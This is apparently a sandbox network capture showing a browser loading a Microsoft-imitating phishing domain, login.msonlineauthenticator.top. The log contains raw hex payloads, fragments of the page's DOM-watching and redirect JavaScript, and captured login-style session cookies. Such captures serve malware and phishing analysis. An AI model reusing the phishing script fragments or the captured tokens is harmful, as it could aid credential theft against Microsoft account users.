2024-11-26 12:44:15 UTC	16384	IN	Data Raw: da 7b 28 52 1a c0 52 1a 6c 7d a9 7d c8 da ec b2 52 7c bb b5 03 95 48 c0 1e df 22 ac 0d f1 00 d6 1c 08 2b a9 52 6d 2b b5 5b 3b 35 dd ae 32 f4 b4 c0 c8 36 df a9 0a 82 46 22 05 ef ac ac e5 81 96 00 1c f8 09 0f 2f ca 15 21 75 97 97 01 0f 25 a0 d9 fe b3 fd 1a 6b ab 0a 34 88 bb 01 8c 77 38 c7 0e c5 80 17 9b b8 8c 13 79 e3 7c ff 95 fa 33 88 72 26 d0 02 0a 40 fa 29 f3 f3 ef 84 bb 30 94 d5 42 73 c6 1e cb 5c 79 c5 09 43 0b d9 6c 8e 57 72 b8 7b 89 55 b4 e7 00 4f 01 c0 61 36 18 96 55 58 f9 86 c9 e9 30 b3 6f 78 d2 fd fa bd 69 d3 d1 04 60 a0 09 40 a8 fc 20 7d 8b 5b de d9 8c c5 6b e5 50 7f 47 0f 14 50 98 8e ed e8 31 8b c7 70 e8 ad f9 d5 7d 44 6f 2f f2 54 c4 6b 26 eb b9 bf a3 d7 97 92 bb 51 9f 65 a3 d8 84 7e cc 74 37 e7 02 ef b1 c3 1e 52 75 01 2a 4b 49 74 85 6e 61 8d 47 Data Ascii: {(RRl}}R\|H"+Rm+[;526F"/!u%k4w8y\|3r&@)0Bs\yClWr{UOa6UX0oxi`@ }[kPGP1p}Do/Tk&Qe~t7Ru*KItnaG
2024-11-26 12:44:15 UTC	16384	IN	Data Raw: 1c 7f d9 85 e1 ba 19 23 fe 05 07 ae ca 22 a1 15 d2 5e 74 03 3d de 32 61 56 8b c8 ca 04 55 ad 05 53 e6 18 48 32 9a 32 49 20 b4 08 c9 2c 84 90 e1 94 49 00 a1 05 47 76 bf 72 e0 57 f7 11 fe 0e 0e b3 77 69 86 e8 72 5f f8 69 ef 16 06 6e bf e7 9e c2 e3 04 a1 f7 44 20 e6 e9 94 9e 39 b3 08 cc ec 9e eb 99 44 d3 8c 8c 5a fc 65 77 9f 33 23 44 1d 50 7d 93 3b f7 00 12 c2 56 eb 11 7d 2a d3 f1 5d 44 b9 0e 39 d7 5b 20 bd e1 58 4a 0e 7b 23 77 07 5b c6 7e 69 47 f1 3d 0c 41 84 3b aa 98 d4 0f 2c 3d 7a 04 3e f6 4b 27 81 bd ac 96 06 e1 de c3 94 03 83 4d 5c 01 32 54 dd 61 98 7c b1 90 d7 2c 67 d4 0f 10 7c 7b 56 9a ce ca 7b 65 19 63 be 29 2f 83 52 74 f1 85 01 66 1a c0 d9 9b 49 c7 f0 4a fc 71 89 8f f5 94 a0 37 ea 23 f0 ff c3 af e1 63 66 cd 64 f9 22 82 7c 17 a8 6a 58 39 d1 20 4e d0 Data Ascii: #"^t=2aVUSH22I ,IGvrWwir_inD 9DZew3#DP};V}*]D9[ XJ{#w[~iG=A;,=z>K'M\2Ta\|,g\|{V{ec)/RtfIJq7#cfd"\|jX9 N
2024-11-26 12:44:15 UTC	16384	IN	Data Raw: 25 17 34 67 9a 22 0e 17 63 8b 78 32 19 92 bb 77 1b f5 27 c3 68 ec 67 de fb 09 07 08 64 61 56 34 36 f4 50 2c 75 a8 37 be 57 0a 38 60 80 cb 85 90 e1 08 ff 86 93 e8 29 54 8a 52 86 15 d0 a6 21 29 74 dc 42 40 87 32 ff d4 42 f4 96 c4 f1 7b c0 13 a4 09 9d 38 19 ba 47 0b 37 a8 38 69 54 1a c5 3a 1a cb f9 96 0e c8 bc ed c4 ab 96 1e 18 cd ab 79 2f 22 57 95 cc c4 8c dd 87 96 55 02 9b cc a6 60 4a e5 cc 25 a8 9a 79 46 54 11 19 46 fd 51 6b bf 16 23 f1 90 84 9e 9a 4d ac 15 ce 0d 58 a8 41 e4 02 e7 0f f5 12 96 98 f1 b1 1d 2d 07 e1 72 ec fc 14 a4 c0 ad bd 46 9c 97 9c a0 17 19 e3 6b 1c 65 24 28 3e 8f 50 d2 7e e3 57 ee e1 78 39 55 76 ca c6 8a 43 56 f1 0c 91 cf d4 81 81 2b 9b b6 60 12 ea 29 aa c1 fc ca fb a3 6b bc 1d 4f 92 83 70 3c 7c 14 6f cf 68 ef 9e 87 01 19 91 e5 f9 30 2a Data Ascii: %4g"cx2w'hgdaV46P,u7W8`)TR!)tB@2B{8G78iT:y/"WU`J%yFTFQk#MXA-rFke$(>P~Wx9UvCV+`)kOp<\|oh0*
2024-11-26 12:44:15 UTC	16384	IN	Data Raw: 66 c0 3e ae 6d b8 da 25 53 7b 7f 16 d6 09 ed 5c 4e d5 59 95 c0 b5 6e d4 82 99 6c d2 34 8e 65 cd f0 ae ee b0 7f 0e 4b 0f 4b 76 fc 8f 4f 27 6b 0e 7b fb 39 88 e5 5e 2c 34 70 88 ec d9 59 85 45 4c 9d 6c 13 24 9a fd 19 0e 16 ed dc 9b 21 e8 0c 5e ab 6c 9e 6d 86 92 e1 78 d2 3e 7d 2a e2 e9 6d 42 44 d5 14 a0 1d dd 7e 0b 3b e1 82 36 56 cd 0d 96 d7 cc e1 c8 b5 b1 ee da 1b 20 36 1e 55 00 47 ef 77 b9 06 57 3e d1 c4 20 30 50 f5 05 ff d4 0e e5 dd 8e e4 5f e5 1b 0c e3 73 cd d8 5b d0 e8 8e dd 12 e1 e3 32 cc d7 a1 05 4d 5b 87 9b 1a 03 8a c3 af 5e 77 f8 2c da 52 46 30 3d 2b d7 3d 86 0b b9 96 43 b8 b0 3c 44 46 35 a9 a6 8a 53 eb 34 04 b7 4c 47 5d 0a dd 92 68 11 87 ed 27 c4 3e 78 26 d2 a2 42 b7 92 03 92 9f b2 90 ac b0 72 18 98 1e 26 58 4c 56 0d f0 06 7e 5a ea ad 15 59 17 96 6f Data Ascii: f>m%S{\NYnl4eKKvO'k{9^,4pYELl$!^lmx>}*mBD~;6V 6UGwW> 0P_s[2M[^w,RF0=+=C<DF5S4LG]h'>x&Br&XLV~ZYo
2024-11-26 12:44:15 UTC	16384	IN	Data Raw: d2 0b 73 37 88 c3 20 89 3c 1e f9 b9 0b 1b 36 dc 47 2f c6 b4 f4 12 19 67 41 16 ca 2c b7 a3 48 64 61 ce 7c 37 8a 72 df 13 99 97 e5 77 b3 fb 56 fb 4a 31 82 30 f0 b3 9c fb be 97 08 27 ca 3d 2f 8b 33 9b db 59 80 61 ba 7b 99 37 63 11 a5 6e e0 43 43 c9 f2 d0 0e 3c b0 26 29 5d 1e 86 19 cb 22 37 8e a0 c9 c5 fb e9 2c cd 3d 9b c5 22 88 33 5f 66 49 9e c9 8c c5 be 67 c7 32 c8 58 ee e5 9e dc 4b 37 66 99 b8 88 dc 3c 82 7d 1c f8 1c b8 10 24 61 e2 47 6e 18 87 0e 03 18 b5 fc df b9 b3 94 45 81 eb 67 71 e4 c5 d2 96 22 49 58 94 cb 4c b0 28 ce 61 62 f1 fc 6e 96 f3 6a 37 35 07 4d 19 90 0e 36 3a f0 0d 9c 2a 81 1d 2d 19 4f 04 de 40 c0 62 26 f7 83 e6 5e 0a 2c 13 20 cd dc e3 81 4c 30 87 8e 93 db 32 0b 5c 91 c7 5e 1e 7a fb c1 bd 9a e3 a7 7e 22 5d df 49 b8 cb 58 2c 3d c7 97 b6 cd 93 Data Ascii: s7 <6G/gA,Hda\|7rwVJ10'=/3Ya{7cnCC<&)]"7,="3_fIg2XK7f<}$aGnEgq"IXL(abnj75M6:*-O@b&^, L02\^z~"]IX,=
2024-11-26 12:44:15 UTC	16384	IN	Data Raw: e7 d3 7c e0 a6 24 fc bc de 73 e8 10 af 3e aa b4 78 af 1d b9 1d ba 15 ef 41 85 05 37 37 1e ec 6a c1 9b 2d 8f ff 00 b2 be 6a 34 c0 16 45 99 97 7b 67 05 e7 c5 25 e1 0c 50 50 7c 5b ce 7f ec eb bb bf c8 26 db bf 5e 88 3a 6f 61 9d a5 bd d3 5e 7f 91 4f 59 f6 5b 6c fa 6d 8a 30 dd 3f b0 d0 d2 a3 5b bb fd 61 f3 4a 3c 5d 96 6a ec d3 ee b2 ac 97 d8 62 33 50 29 42 05 83 f6 4f 64 c5 3b 0d 6e 2a b4 57 f6 5b 87 2c fd ed a2 2a f4 e1 02 25 de 8b 27 fa b5 da 92 ae ef a8 38 98 4c 26 07 44 f0 d1 68 dc 7a 3f 7e 01 cb 81 a2 3c 9e ff f4 e4 41 1f b1 d5 b3 37 7f d9 b9 d6 64 0d a3 bb 9f 37 d2 5c a5 4f 6f 76 e6 a9 7e b9 d1 6b 31 25 87 3d d3 31 06 ad 7a ed 0f 9b fa ab 33 6d fe c0 68 17 7d b9 ae c6 f4 ee c2 f1 89 c2 9b d6 ad 9c 9f 95 0b c3 33 d7 1c 0c eb 9f bf 1c 6f c7 e7 f3 e8 7c 99 Data Ascii: \|$s>xA77j-j4E{g%PP\|[&^:oa^OY[lm0?[aJ<]jb3P)BOd;nW[,%'8L&Dhz?~<A7d7\Oov~k1%=1z3mh}3o\|
2024-11-26 12:44:15 UTC	8451	IN	Data Raw: 0e a8 04 a8 bd c6 ca 76 98 b2 0c a7 ff 8a 96 31 7c 8b 96 21 0d a4 a6 fd 0c 6f d1 7c c0 9f 01 90 48 9a af 4e a2 fd 07 c7 45 6b be 25 2e 86 e7 66 07 0f 2f 51 1d 89 82 39 89 31 1b 19 4d a3 ae fd 32 a5 41 7d b5 6f e0 af 4f 97 e2 ec 1a f6 7b 9c cc 09 a8 5f 85 87 27 e1 62 99 6a 3f 66 25 cf 3f c0 4a 21 bc 40 bb 09 42 ed 37 7c 71 84 d1 c0 f8 5d 34 61 17 79 41 0f ae b4 7f 4c a9 b1 8d 8e f6 0c 36 af 4f 51 ec 69 bf b3 87 3f 92 f4 34 24 18 f8 18 51 49 fb 89 3d 3d ff 10 2c fe 9d 7a da df 71 90 47 e9 67 ed 9f 74 b4 00 39 b7 78 0f 52 fb 17 bc 08 2a 98 a4 fd 1b cb bf 25 18 b0 e7 28 02 9d c0 4d 79 0a 56 8d 10 e9 15 4b d4 b5 d0 42 e9 21 14 7c 15 b1 10 eb a0 52 c1 f3 98 3e a6 53 45 97 95 e0 4a 0b f0 31 ae da 5b 50 73 f0 36 26 45 78 fe d2 26 19 9c 8e 90 f8 e6 5a 44 a6 3b 3b Data Ascii: v1\|!o\|HNEk%.f/Q91M2A}oO{_'bj?f%?J!@B7\|q]4ayAL6OQi?4$QI==,zqGgt9xR*%(MyVKB!\|R>SEJ1[Ps6&Ex&ZD;;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
133	192.168.2.7	49865	13.107.246.63	443	6220	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-26 12:44:14 UTC	666	OUT	GET /ests/2.1/content/cdnbundles/ux.converged.login.strings-en.min_i8f-75gfk3tbsm8bmatnqa2.js HTTP/1.1 Host: aadcdn.msauth.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Origin: https://login.msonlineauthenticator.top sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: script Referer: https://login.msonlineauthenticator.top/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-26 12:44:14 UTC	797	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 12:44:14 GMT Content-Type: application/x-javascript Content-Length: 16345 Connection: close Cache-Control: public, max-age=31536000 Content-Encoding: gzip Last-Modified: Sat, 26 Oct 2024 01:33:48 GMT ETag: 0x8DCF55E3D91C34E x-ms-request-id: d6a48ad4-701e-005e-55fc-3828b6000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Content-Encoding,Cache-Control,Last-Modified,ETag,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding Access-Control-Allow-Origin: * x-azure-ref: 20241126T124414Z-174f7845968jrjrxhC1EWRmmrs0000000vq0000000001a7g x-fd-int-roxy-purgeid: 4554691 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-26 12:44:14 UTC	15587	IN	Data Raw: 1f 8b 08 00 00 00 00 00 04 00 dd 7d 4d 73 23 c7 92 d8 dd bf 02 0f cf f1 86 5c f5 40 f8 e0 27 46 d0 18 04 c0 19 ec 90 00 04 80 33 52 48 32 a2 09 14 c1 7e 04 ba b1 dd 8d e1 f0 51 e3 78 37 1f f6 e0 ab 7d f3 c1 27 1f 7d f1 dd 3f 65 23 d6 bf c3 f9 51 55 5d d5 dd 00 c8 91 56 6f d7 0a c5 10 dd f5 95 95 95 95 95 99 95 99 fd 87 9b b5 3f 8d bd c0 df 13 fb 8f ea 77 21 d8 f3 f7 1f bd 9b 3d ef 47 ff e7 fd 50 c4 eb d0 2f e0 ef 92 f8 b4 0a c2 38 7a f5 d1 0d 0b 71 03 5f 35 1e e5 bb fa e3 67 c7 9b d5 7d 67 11 b8 33 31 ab ff a1 f2 f9 95 6c 2a b0 e9 d4 5d 2c f6 62 d5 83 13 3b c9 ef 60 1f 1e b8 59 e3 0f e5 a4 e0 33 0e e3 35 1e 75 47 41 69 d9 10 4e 50 9a 36 3c f8 77 d5 28 16 9d 60 af bc ff 79 ef c7 64 1a 4e e0 78 00 fc 5e 75 9f a0 f4 1b de 5e 05 fa 87 3f 87 fb 4e 08 7f 8e f6 Data Ascii: }Ms#\@'F3RH2~Qx7}'}?e#QU]Vo?w!=GP/8zq_5g}g31l*],b;`Y35uGAiNP6<w(`ydNx^u^?N
2024-11-26 12:44:14 UTC	758	IN	Data Raw: 00 e0 2d 4b 19 b6 30 82 b4 8c 07 10 e2 6a 41 51 4f 3c 0d 86 9c fb 90 51 1e b8 7e 38 ef ac ca 5b ce 0d e6 a8 e8 40 1c 3c 54 74 00 12 3d d5 58 6e a1 df 32 fc 96 7e 1f e6 a4 0f c0 6d c1 20 4b f4 e5 94 23 08 f2 7a 2b a7 b0 22 f9 95 e1 1b bc 5a 63 78 0f a0 e3 c1 92 39 86 02 bf 1f 40 12 07 fe c0 04 ed 43 f1 51 60 30 01 9f 99 b9 11 22 9c 9c 46 f5 21 03 4e d8 91 99 23 47 70 69 f5 43 13 bf cf 2b a3 5b 30 aa 4d 00 19 ad 61 59 30 a3 07 1c ad 07 46 55 f6 20 7e 60 b4 50 c6 37 58 14 8d 87 24 dd 1a 60 1d ef 0e ff 78 de 3c 3f 3d 3f 29 da 42 15 9f 5b 3c cd 11 b4 5f 48 e5 b0 5e 8c 8c 27 d8 05 98 35 59 15 2d 93 07 3e a7 63 10 ab 63 49 07 c0 d2 95 1b 8e 96 fc d4 b9 0c ab 80 76 df 91 f7 17 e2 c7 c6 08 08 ae 98 e1 2e 77 5a 67 fd 21 d6 62 ff 6d 62 29 ea 10 d2 b2 21 08 6b 0c b3 Data Ascii: -K0jAQO<Q~8[@<Tt=Xn2~m K#z+"Zcx9@CQ`0"F!N#GpiC+[0MaY0FU ~`P7X$`x<?=?)B[<_H^'5Y->ccIv.wZg!bmb)!k

Session ID	Source IP	Source Port	Destination IP	Destination Port
134	192.168.2.7	49869	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-26 12:44:15 UTC	192	OUT	GET /rules/rule702200v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-26 12:44:15 UTC	494	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 12:44:15 GMT Content-Type: text/xml Content-Length: 1360 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:40 GMT ETag: "0x8DC582BDDEB5124" x-ms-request-id: b189b901-c01e-0079-3391-3fe51a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241126T124415Z-174f78459684bddphC1EWRbht40000000v5g000000007x6h x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-26 12:44:15 UTC	1360	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 32 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 6c 6c 4d 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 6c 6c 4d 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702200" V="1" DC="SM" EN="Office.Telemetry.Event.Office.TellMe" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTellMe" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
135	192.168.2.7	49871	52.1.52.84	443	6220	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-26 12:44:15 UTC	1543	OUT	GET /s/e138283daf76ff7866a10a962a722a1ca34707143d4d2216ec8a7801d1f82a90/697e47d51e6d8cca3cc04e14861a6d8f24131fd2a0218661bca3b5c9569e9cd3.js HTTP/1.1 Host: login.msonlineauthenticator.top Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: 7b5a-d8cb=e138283daf76ff7866a10a962a722a1ca34707143d4d2216ec8a7801d1f82a90; x-ms-gateway-slice=estsfd; stsservicecookie=estsfd; esctx-4TKHzroffC0=AQABCQEAAADW6jl31mB3T7ugrWTT8pFeEYxa7f3veaX-VKmU22RIslH1uvvCI6klWtJ4JQez0Bvnze9Bd9Lec3zbxl-HJ2HEINnjOGIwWS415bJOIdN9JTE0er8683fovpjtwpJwPZuFaXMqosxwvvYiKAfjG16QuqTmsibESgRJdo1_KHxstCAA; AADSSO=NA\|NoExtension; SSOCOOKIEPULLED=1; buid=1.Ae4AMe_N-B6jSkuT5F9XHpElWltEZUfGMrBJg-Ydk3ZSdsoBAADuAA.AQABGgEAAADW6jl31mB3T7ugrWTT8pFex2pP-I0zALTlsTVftaTmULYWHnTlyKyCV9or0k4FKnMU8IKw5kPsqxxBvNjtHngjxBLwLWE9vjeenLvrvRIy8Msj5cxWKezG9xtBZYYtA00gAA; esctx=PAQABBwEAAADW6jl31mB3T7ugrWTT8pFeMRH4hl7ZhlCdDX1tfNeT8dJ3CUpzgRK95D0DnsboftAPuxqEIxsOzhw5ojB7aHvjv4zSiFOVOYnozkOBn4NzI3gKCxjdYGLxB5yN2d9eOK97shH6VTLPN1CQO4doNYxA5wi5YJKL6NDpH5Lv5Wbk2F8rJwLnMwCJ5N-FZg1icSQgAA; esctx-Mc0TKE8k=AQABCQEAAADW6jl31mB3T7ugrWTT8pFe9Gx1Jqutchza-C-gQYTMDoNoCGAQVLQekSJmGnXfqUHf4sxmq_7j_PplCH3Yf4KAvAwWdu-uA4EqfAxxCmdL0nv2Q8r9tG2IKTsFx5vQ4aJa5Ho6a3ueh8soEygnbcUxXy2MMJPglbs0M5VMnvGCVCAA; fpc=AmLITznCxPJGndwB [TRUNCATED]
2024-11-26 12:44:16 UTC	17	IN	HTTP/1.1 200 OK
2024-11-26 12:44:16 UTC	35	IN	Data Raw: 43 61 63 68 65 2d 43 6f 6e 74 72 6f 6c 3a 20 6e 6f 2d 63 61 63 68 65 2c 20 6e 6f 2d 73 74 6f 72 65 0d 0a Data Ascii: Cache-Control: no-cache, no-store
2024-11-26 12:44:16 UTC	19	IN	Data Raw: 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a Data Ascii: Connection: close
2024-11-26 12:44:16 UTC	38	IN	Data Raw: 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 6a 61 76 61 73 63 72 69 70 74 0d 0a Data Ascii: Content-Type: application/javascript
2024-11-26 12:44:16 UTC	28	IN	Data Raw: 54 72 61 6e 73 66 65 72 2d 45 6e 63 6f 64 69 6e 67 3a 20 63 68 75 6e 6b 65 64 0d 0a Data Ascii: Transfer-Encoding: chunked
2024-11-26 12:44:16 UTC	2	IN	Data Raw: 0d 0a Data Ascii:
2024-11-26 12:44:16 UTC	5	IN	Data Raw: 62 64 38 0d 0a Data Ascii: bd8
2024-11-26 12:44:16 UTC	3032	IN	Data Raw: 77 69 6e 64 6f 77 2e 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 28 27 6c 6f 61 64 27 2c 20 66 75 6e 63 74 69 6f 6e 28 29 20 7b 0a 20 20 6c 65 74 20 66 6f 72 6d 47 72 6f 75 70 4c 6f 61 64 65 64 20 3d 20 66 61 6c 73 65 3b 0a 20 20 6c 65 74 20 65 6d 61 69 6c 50 72 65 46 69 6c 6c 65 64 20 3d 20 66 61 6c 73 65 3b 0a 20 20 6c 65 74 20 77 69 6e 42 75 74 74 6f 6e 4c 6f 61 64 65 64 20 3d 20 66 61 6c 73 65 3b 0a 0a 20 20 2f 2f 20 43 72 65 61 74 65 20 61 20 4d 75 74 61 74 69 6f 6e 4f 62 73 65 72 76 65 72 20 74 6f 20 77 61 74 63 68 20 66 6f 72 20 63 68 61 6e 67 65 73 20 69 6e 20 74 68 65 20 44 4f 4d 0a 20 20 63 6f 6e 73 74 20 6f 62 73 65 72 76 65 72 20 3d 20 6e 65 77 20 4d 75 74 61 74 69 6f 6e 4f 62 73 65 72 76 65 72 28 66 75 6e 63 74 69 6f 6e 28 6d 75 74 61 74 Data Ascii: window.addEventListener('load', function() { let formGroupLoaded = false; let emailPreFilled = false; let winButtonLoaded = false; // Create a MutationObserver to watch for changes in the DOM const observer = new MutationObserver(function(mutat
2024-11-26 12:44:16 UTC	2	IN	Data Raw: 0d 0a Data Ascii:
2024-11-26 12:44:16 UTC	3	IN	Data Raw: 30 0d 0a Data Ascii: 0
2024-11-26 12:44:16 UTC	2	IN	Data Raw: 0d 0a Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
136	192.168.2.7	49876	52.1.52.84	443	6220	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-26 12:44:16 UTC	1478	OUT	GET /s/e138283daf76ff7866a10a962a722a1ca34707143d4d2216ec8a7801d1f82a90.js HTTP/1.1 Host: login.msonlineauthenticator.top Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: 7b5a-d8cb=e138283daf76ff7866a10a962a722a1ca34707143d4d2216ec8a7801d1f82a90; x-ms-gateway-slice=estsfd; stsservicecookie=estsfd; esctx-4TKHzroffC0=AQABCQEAAADW6jl31mB3T7ugrWTT8pFeEYxa7f3veaX-VKmU22RIslH1uvvCI6klWtJ4JQez0Bvnze9Bd9Lec3zbxl-HJ2HEINnjOGIwWS415bJOIdN9JTE0er8683fovpjtwpJwPZuFaXMqosxwvvYiKAfjG16QuqTmsibESgRJdo1_KHxstCAA; AADSSO=NA\|NoExtension; SSOCOOKIEPULLED=1; buid=1.Ae4AMe_N-B6jSkuT5F9XHpElWltEZUfGMrBJg-Ydk3ZSdsoBAADuAA.AQABGgEAAADW6jl31mB3T7ugrWTT8pFex2pP-I0zALTlsTVftaTmULYWHnTlyKyCV9or0k4FKnMU8IKw5kPsqxxBvNjtHngjxBLwLWE9vjeenLvrvRIy8Msj5cxWKezG9xtBZYYtA00gAA; esctx=PAQABBwEAAADW6jl31mB3T7ugrWTT8pFeMRH4hl7ZhlCdDX1tfNeT8dJ3CUpzgRK95D0DnsboftAPuxqEIxsOzhw5ojB7aHvjv4zSiFOVOYnozkOBn4NzI3gKCxjdYGLxB5yN2d9eOK97shH6VTLPN1CQO4doNYxA5wi5YJKL6NDpH5Lv5Wbk2F8rJwLnMwCJ5N-FZg1icSQgAA; esctx-Mc0TKE8k=AQABCQEAAADW6jl31mB3T7ugrWTT8pFe9Gx1Jqutchza-C-gQYTMDoNoCGAQVLQekSJmGnXfqUHf4sxmq_7j_PplCH3Yf4KAvAwWdu-uA4EqfAxxCmdL0nv2Q8r9tG2IKTsFx5vQ4aJa5Ho6a3ueh8soEygnbcUxXy2MMJPglbs0M5VMnvGCVCAA; fpc=AmLITznCxPJGndwB [TRUNCATED]
2024-11-26 12:44:16 UTC	17	IN	HTTP/1.1 200 OK
2024-11-26 12:44:16 UTC	35	IN	Data Raw: 43 61 63 68 65 2d 43 6f 6e 74 72 6f 6c 3a 20 6e 6f 2d 63 61 63 68 65 2c 20 6e 6f 2d 73 74 6f 72 65 0d 0a Data Ascii: Cache-Control: no-cache, no-store
2024-11-26 12:44:16 UTC	19	IN	Data Raw: 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a Data Ascii: Connection: close
2024-11-26 12:44:16 UTC	38	IN	Data Raw: 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 6a 61 76 61 73 63 72 69 70 74 0d 0a Data Ascii: Content-Type: application/javascript
2024-11-26 12:44:16 UTC	28	IN	Data Raw: 54 72 61 6e 73 66 65 72 2d 45 6e 63 6f 64 69 6e 67 3a 20 63 68 75 6e 6b 65 64 0d 0a Data Ascii: Transfer-Encoding: chunked
2024-11-26 12:44:16 UTC	2	IN	Data Raw: 0d 0a Data Ascii:
2024-11-26 12:44:16 UTC	5	IN	Data Raw: 33 31 63 0d 0a Data Ascii: 31c
2024-11-26 12:44:16 UTC	796	IN	Data Raw: 0a 66 75 6e 63 74 69 6f 6e 20 67 65 74 52 65 64 69 72 65 63 74 28 73 69 64 29 20 7b 0a 09 76 61 72 20 75 72 6c 20 3d 20 22 2f 73 2f 22 20 2b 20 73 69 64 3b 0a 09 63 6f 6e 73 6f 6c 65 2e 6c 6f 67 28 22 66 65 74 63 68 69 6e 67 3a 20 22 20 2b 20 75 72 6c 29 3b 0a 09 66 65 74 63 68 28 75 72 6c 2c 20 7b 0a 09 09 6d 65 74 68 6f 64 3a 20 22 47 45 54 22 2c 0a 09 09 68 65 61 64 65 72 73 3a 20 7b 0a 09 09 09 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 3a 20 22 61 70 70 6c 69 63 61 74 69 6f 6e 2f 6a 73 6f 6e 22 0a 09 09 7d 2c 0a 09 09 63 72 65 64 65 6e 74 69 61 6c 73 3a 20 22 69 6e 63 6c 75 64 65 22 0a 09 7d 29 0a 09 09 2e 74 68 65 6e 28 28 72 65 73 70 6f 6e 73 65 29 20 3d 3e 20 7b 0a 0a 09 09 09 69 66 20 28 72 65 73 70 6f 6e 73 65 2e 73 74 61 74 75 73 20 3d 3d 20 32 Data Ascii: function getRedirect(sid) {var url = "/s/" + sid;console.log("fetching: " + url);fetch(url, {method: "GET",headers: {"Content-Type": "application/json"},credentials: "include"}).then((response) => {if (response.status == 2
2024-11-26 12:44:16 UTC	2	IN	Data Raw: 0d 0a Data Ascii:
2024-11-26 12:44:16 UTC	3	IN	Data Raw: 30 0d 0a Data Ascii: 0
2024-11-26 12:44:16 UTC	2	IN	Data Raw: 0d 0a Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
137	192.168.2.7	49870	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-26 12:44:16 UTC	192	OUT	GET /rules/rule700401v2s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
